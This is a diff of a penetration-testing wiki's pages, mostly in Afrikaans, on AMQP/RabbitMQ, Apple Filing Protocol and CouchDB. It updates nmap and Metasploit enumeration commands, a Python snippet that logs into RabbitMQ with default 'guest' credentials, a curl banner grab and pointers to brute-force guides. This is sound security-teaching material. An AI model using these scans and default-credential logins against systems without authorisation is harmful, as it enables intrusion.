In gevalle waar SSL/TLS nie geaktiveer is nie, moet die potensiaal vir die lek van sensitiewe inligting deeglik geëvalueer word.
|
||||
|
||||
|
@ -38,16 +39,17 @@ In gevalle waar SSL/TLS nie geaktiveer is nie, moet die potensiaal vir die lek v
|
|||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Van [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ** is 'n **boodskap-ry-software** wat ook bekend staan as 'n _boodskapmakelaar_ of _rybestuurder_. Eenvoudig gestel; dit is sagteware waar rykies gedefinieer word, waaraan aansoeke koppel om 'n boodskap of boodskappe oor te dra.\
|
||||
> 'n **Boodskap kan enige soort inligting insluit**. Dit kan byvoorbeeld inligting hê oor 'n proses of taak wat op 'n ander aansoek moet begin (wat selfs op 'n ander bediener kan wees), of dit kan net 'n eenvoudige teksboodskap wees. Die rybestuurdersagteware stoor die boodskappe totdat 'n ontvangende aansoek koppel en 'n boodskap van die ry afhaal. Die ontvangende aansoek verwerk dan die boodskap.\
|
||||
> **RabbitMQ** is 'n **boodskap-ry sagteware** wat ook bekend staan as 'n _boodskap broker_ of _ry bestuurder._ Eenvoudig gestel; dit is sagteware waar rye gedefinieer word, waaraan toepassings koppel om 'n boodskap of boodskappe oor te dra.\
|
||||
> 'n **Boodskap kan enige soort inligting insluit**. Dit kan byvoorbeeld inligting bevat oor 'n proses of taak wat op 'n ander toepassing (wat selfs op 'n ander bediener kan wees) moet begin, of dit kan net 'n eenvoudige teksboodskap wees. Die ry-bestuurder sagteware stoor die boodskappe totdat 'n ontvangende toepassing koppel en 'n boodskap van die ry neem. Die ontvangende toepassing verwerk dan die boodskap.\
|
||||
Definisie van .
|
||||
|
||||
**Verstekpoort**: 5672,5671
|
||||
**Standaard poort**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
```
|
||||
## Opstel
|
||||
## Opname
|
||||
|
||||
### Handleiding
|
||||
### Handmatig
|
||||
```python
|
||||
import amqp
|
||||
#By default it uses default credentials "guest":"guest"
|
||||
|
@ -39,19 +40,6 @@ for k, v in conn.server_properties.items():
|
|||
print(k, v)
|
||||
```
|
||||
### Outomaties
|
||||
|
||||
AMQP (Asynchronous Messaging and Queueing Protocol) is 'n protokol wat gebruik word vir die kommunikasie tussen toepassings wat boodskappe uitruil. Dit is 'n protokol wat dikwels gebruik word in stelsels wat boodskappe-gebaseerde kommunikasie benodig, soos boodskap-gebaseerde ry-gebaseerde stelsels.
|
||||
|
||||
AMQP maak gebruik van 'n klient-bedieningsmodel, waar die klient die boodskap stuur en die bediener die boodskap ontvang en verwerk. Dit maak gebruik van 'n stelsel van uitruilings en ryë om die boodskappe tussen toepassings te roeteer.
|
||||
|
||||
Tydens 'n pentest kan jy AMQP gebruik om te kyk vir moontlike kwesbaarhede en om toegang tot die stelsel te verkry. Hier is 'n paar tegnieke wat jy kan gebruik:
|
||||
|
||||
- **Portskandering**: Skandeer die poorte 5671 en 5672 om te kyk of die AMQP-diens beskikbaar is.
|
||||
- **Identifiseer die AMQP-bedieners**: Identifiseer die bedieners wat AMQP gebruik deur na spesifieke kenmerke in die antwoord te soek.
|
||||
- **Verken die AMQP-stelsel**: Gebruik gereedskap soos RabbitMQ Management UI om die AMQP-stelsel te verken en inligting oor die uitruilings, ryë en boodskappe te verkry.
|
||||
- **Aanvalle op die AMQP-stelsel**: Voer aanvalle uit soos die stuur van valse boodskappe, die oorbelasting van die bediener met 'n groot aantal boodskappe, of die manipulasie van die boodskappe om ongewenste aksies te veroorsaak.
|
||||
|
||||
Dit is belangrik om te onthou dat jy toestemming moet hê om AMQP te pentest en dat jy die nodige etiese hacking-praktyke moet volg.
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||
|
||||
|
@ -73,38 +61,39 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Brute Force
|
||||
|
||||
* [**AMQP-protokol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP-protokol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
## Ander RabbitMQ-poorte
|
||||
|
||||
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) kan jy vind dat **rabbitmq verskeie poorte gebruik**:
|
||||
|
||||
* **1883, 8883**: ([MQTT-kliënte](http://mqtt.org) sonder en met TLS, as die [MQTT-invoegtoepassing](https://www.rabbitmq.com/mqtt.html) geaktiveer is. [**Leer meer oor hoe om MQTT te pentest hier**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, 'n peer-ontdekkingsdiens wat deur RabbitMQ-nodes en CLI-hulpmiddels gebruik word. [**Leer meer oor hoe om hierdie diens te pentest hier**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: gebruik deur AMQP 0-9-1 en 1.0-kliënte sonder en met TLS
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html)-kliënte, [bestuurskoppelvlak](https://www.rabbitmq.com/management.html) en [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (slegs as die [bestuursinvoegtoepassing](https://www.rabbitmq.com/management.html) geaktiveer is). [**Leer meer oor hoe om hierdie diens te pentest hier**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: STOMP-oor-WebSockets-kliënte (slegs as die [Web STOMP-invoegtoepassing](https://www.rabbitmq.com/web-stomp.html) geaktiveer is)
|
||||
* 15675: MQTT-oor-WebSockets-kliënte (slegs as die [Web MQTT-invoegtoepassing](https://www.rabbitmq.com/web-mqtt.html) geaktiveer is)
|
||||
* 15692: Prometheus-metriek (slegs as die [Prometheus-invoegtoepassing](https://www.rabbitmq.com/prometheus.html) geaktiveer is)
|
||||
* 25672: gebruik vir inter-node en CLI-hulpmiddelkommunikasie (Erlang-verspreidingsbedienerpoort) en word toegewys uit 'n dinamiese reeks (beperk tot 'n enkele poort standaard, bereken as AMQP-poort + 20000). Tensy eksterne verbindinge op hierdie poorte werklik nodig is (bv. die groep maak gebruik van [federasie](https://www.rabbitmq.com/federation.html) of CLI-hulpmiddels word op masjiene buite die subnet gebruik), moet hierdie poorte nie openlik blootgestel word nie. Sien [netwerkgids](https://www.rabbitmq.com/networking.html) vir meer besonderhede. **Slegs 9 van hierdie poorte is oop op die internet**.
|
||||
* 35672-35682: gebruik deur CLI-hulpmiddels (Erlang-verspreidingskliëntpoorte) vir kommunikasie met nodes en word toegewys uit 'n dinamiese reeks (bereken as bedienerverspreidingspoort + 10000 tot bedienerverspreidingspoort + 10010). Sien [netwerkgids](https://www.rabbitmq.com/networking.html) vir meer besonderhede.
|
||||
* 61613, 61614: [STOMP-kliënte](https://stomp.github.io/stomp-specification-1.2.html) sonder en met TLS (slegs as die [STOMP-invoegtoepassing](https://www.rabbitmq.com/stomp.html) geaktiveer is). Minder as 10 toestelle met hierdie poort oop en meestal UDP vir DHT-nodes.
|
||||
* **1883, 8883**: ([MQTT-klante](http://mqtt.org) sonder en met TLS, indien die [MQTT-inprop](https://www.rabbitmq.com/mqtt.html) geaktiveer is. [**Leer meer oor hoe om MQTT hier te pentest**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, 'n peer ontdekking diens wat deur RabbitMQ-knope en CLI-gereedskap gebruik word. [**Leer meer oor hoe om hierdie diens hier te pentest**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: gebruik deur AMQP 0-9-1 en 1.0 klante sonder en met TLS
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) klante, [bestuurs UI](https://www.rabbitmq.com/management.html) en [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (slegs indien die [bestuurs-inprop](https://www.rabbitmq.com/management.html) geaktiveer is). [**Leer meer oor hoe om hierdie diens hier te pentest**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: STOMP-over-WebSockets klante (slegs indien die [Web STOMP-inprop](https://www.rabbitmq.com/web-stomp.html) geaktiveer is)
|
||||
* 15675: MQTT-over-WebSockets klante (slegs indien die [Web MQTT-inprop](https://www.rabbitmq.com/web-mqtt.html) geaktiveer is)
|
||||
* 15692: Prometheus-metrieke (slegs indien die [Prometheus-inprop](https://www.rabbitmq.com/prometheus.html) geaktiveer is)
|
||||
* 25672: gebruik vir inter-knoop en CLI-gereedskap kommunikasie (Erlang verspreidingsbedienerpoort) en word toegeken uit 'n dinamiese reeks (beperk tot 'n enkele poort per standaard, bereken as AMQP-poort + 20000). Tensy eksterne verbindings op hierdie poorte werklik nodig is (bv. die kluster gebruik [federasie](https://www.rabbitmq.com/federation.html) of CLI-gereedskap word op masjiene buite die subnet gebruik), moet hierdie poorte nie publiek blootgestel word nie. Sien [netwerk gids](https://www.rabbitmq.com/networking.html) vir besonderhede. **Slegs 9 van hierdie poorte is op die internet geopen**.
|
||||
* 35672-35682: gebruik deur CLI-gereedskap (Erlang verspreidingsklantpoorte) vir kommunikasie met knope en word toegeken uit 'n dinamiese reeks (bereken as bediener verspreidingspoort + 10000 deur bediener verspreidingspoort + 10010). Sien [netwerk gids](https://www.rabbitmq.com/networking.html) vir besonderhede.
|
||||
* 61613, 61614: [STOMP-klante](https://stomp.github.io/stomp-specification-1.2.html) sonder en met TLS (slegs indien die [STOMP-inprop](https://www.rabbitmq.com/stomp.html) geaktiveer is). Minder as 10 toestelle met hierdie poort oop en meestal UDP vir DHT-knope.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,57 @@
|
|||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol wat ingesluit is in die **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste te voorsien vir macOS en die klassieke Mac OS. AFP onderskei hom deur ondersteuning te bied vir Unicode-lêernaam, POSIX- en toegangsbeheerlys-permissies, hulpbronvurke, genoemde uitgebreide eienskappe en gesofistikeerde lêervergrendelingsmeganismes. Dit was die hoofprotokol vir lêerdienste in Mac OS 9 en vroeëre weergawes.
|
||||
Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit in die **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste te bied vir macOS en die klassieke Mac OS. AFP val op deur ondersteuning van Unicode-lêernames, POSIX en toegangbeheerlys toestemmings, hulpbronvorke, benoemde uitgebreide eienskappe, en gesofistikeerde lêerslotmeganismes. Dit was die hoofprotokol vir lêerdienste in Mac OS 9 en vroeëre weergawes.
|
||||
|
||||
**Verstekpoort:** 548
|
||||
**Default Port:** 548
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Opsomming**
|
||||
### **Enumerasie**
|
||||
|
||||
Vir die opsomming van AFP-dienste is die volgende opdragte en skripte nuttig:
|
||||
Vir die enumerasie van AFP-dienste is die volgende opdragte en skripte nuttig:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
**Skripte en hul beskrywings:**
|
||||
**Scripts en Hul Beskrywings:**
|
||||
|
||||
- **afp-ls**: Hierdie skrip word gebruik om die beskikbare AFP volumes en lêers te lys.
|
||||
- **afp-path-vuln**: Dit lys alle AFP volumes en lêers en beklemtoon potensiële kwesbaarhede.
|
||||
- **afp-serverinfo**: Dit verskaf gedetailleerde inligting oor die AFP-bediener.
|
||||
- **afp-showmount**: Dit lys beskikbare AFP-aandele saam met hul onderskeie ACL's.
|
||||
- **afp-path-vuln**: Dit lys alle AFP volumes en lêers, terwyl potensiële kwesbaarhede uitgelig word.
|
||||
- **afp-serverinfo**: Dit bied gedetailleerde inligting oor die AFP bediener.
|
||||
- **afp-showmount**: Dit lys beskikbare AFP gedeeltes saam met hul onderskeie ACLs.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,112 +1,100 @@
|
|||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**CouchDB** is 'n veelsydige en kragtige **dokumentgeoriënteerde databasis** wat data organiseer deur gebruik te maak van 'n **sleutel-waardekaart**-struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waardepare, lysies of kaarte**, wat buigsaamheid bied in data-opberging en -herwinning.
|
||||
**CouchDB** is 'n veelsydige en kragtige **dokument-georiënteerde databasis** wat data organiseer met 'n **sleutel-waarde kaart** struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waarde pare, lyste, of kaarte**, wat buigsaamheid in data stoor en onttrekking bied.
|
||||
|
||||
Elke **dokument** wat in CouchDB gestoor word, word 'n **unieke identifiseerder** (`_id`) op dokumentvlak toegewys. Daarbenewens word elke wysiging wat in die databasis aangebring en gestoor word, 'n **revisienommer** (`_rev`) toegewys. Hierdie revisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat die maklike herwinning en synchronisering van data binne die databasis fasiliteer.
|
||||
Elke **dokument** wat in CouchDB gestoor word, word 'n **unieke identifiseerder** (`_id`) op dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, 'n **hervisienommer** (`_rev`) toegeken. Hierdie revisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis fasiliteer.
|
||||
|
||||
**Verstekpoort:** 5984(http), 6984(https)
|
||||
**Standaard poort:** 5984(http), 6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
```
|
||||
## **Outomatiese Opsomming**
|
||||
## **Outomatiese Enumerasie**
|
||||
```bash
|
||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||
```
|
||||
### Boodskap
|
||||
## Handmatige Enumerasie
|
||||
|
||||
Die banner van 'n CouchDB-diens kan verkry word deur die diens se TCP-poort te skandeer. Die banner bevat inligting soos die weergawe van die diens en die naam van die databasis. Hier is 'n voorbeeld van 'n CouchDB-banner:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Server: CouchDB/2.3.1 (Erlang OTP/21)
|
||||
Date: Mon, 01 Jan 2022 00:00:00 GMT
|
||||
Content-Type: application/json
|
||||
Content-Length: 87
|
||||
Cache-Control: must-revalidate
|
||||
|
||||
{"couchdb":"Welcome","version":"2.3.1","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
|
||||
Die banner kan nuttige inligting verskaf vir verdere ondersoek en aanvalle op die CouchDB-diens.
|
||||
### Banner
|
||||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
